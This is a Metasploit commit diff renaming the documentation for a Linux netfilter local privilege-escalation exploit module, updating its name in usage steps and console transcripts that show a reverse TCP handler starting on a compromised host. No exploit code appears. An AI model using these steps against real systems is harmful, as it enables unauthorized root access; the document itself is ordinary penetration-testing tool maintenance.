Land rapid7#7579, rename netfilter_priv_esc to rename netfilter_priv_esc_ipv4

Author: Brent Cook

documentation/modules/exploit/linux/local/netfilter_priv_esc.md renamed to documentation/modules/exploit/linux/local/netfilter_priv_esc_ipv4.md

@@ -27,7 +27,7 @@ This does not work against the following vulnerable systems.  Additional work ma
 
   1. Start msfconsole
   2. Exploit a box via whatever method
-  4. Do: `use exploit/linux/local/netfilter_priv_esc`
+  4. Do: `use exploit/linux/local/netfilter_priv_esc_ipv4`
   5. Do: `set session #`
   6. Do: `set verbose true`
   7. Do: `exploit`
@@ -115,7 +115,7 @@ This does not work against the following vulnerable systems.  Additional work ma
 
 #### Escalate w/ pre-compiled binaries
 
-    msf exploit(netfilter_priv_esc) > exploit
+    msf exploit(netfilter_priv_esc_ipv4) > exploit
 
     [*] Started reverse TCP handler on 192.168.2.117:4444 
     [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
@@ -160,9 +160,9 @@ This does not work against the following vulnerable systems.  Additional work ma
 
 In this scenario, we already exploit the box, for whatever reason our shell died.  So now we want to re-exploit, but we dont need to run desc again.
 
-    msf exploit(netfilter_priv_esc) > set reexploit true
+    msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
     reexploit => true
-    msf exploit(netfilter_priv_esc) > exploit
+    msf exploit(netfilter_priv_esc_ipv4) > exploit
 
     [*] Started reverse TCP handler on 192.168.2.117:4444 
     [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
@@ -191,9 +191,9 @@ In this scenario, we already exploit the box, for whatever reason our shell died
 
 #### Re-exploit w/ pre-compiled binaries
 
-    msf exploit(netfilter_priv_esc) > set reexploit true
+    msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
     reexploit => true
-    msf exploit(netfilter_priv_esc) > exploit
+    msf exploit(netfilter_priv_esc_ipv4) > exploit
 
     [*] Started reverse TCP handler on 192.168.2.117:4444 
     [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed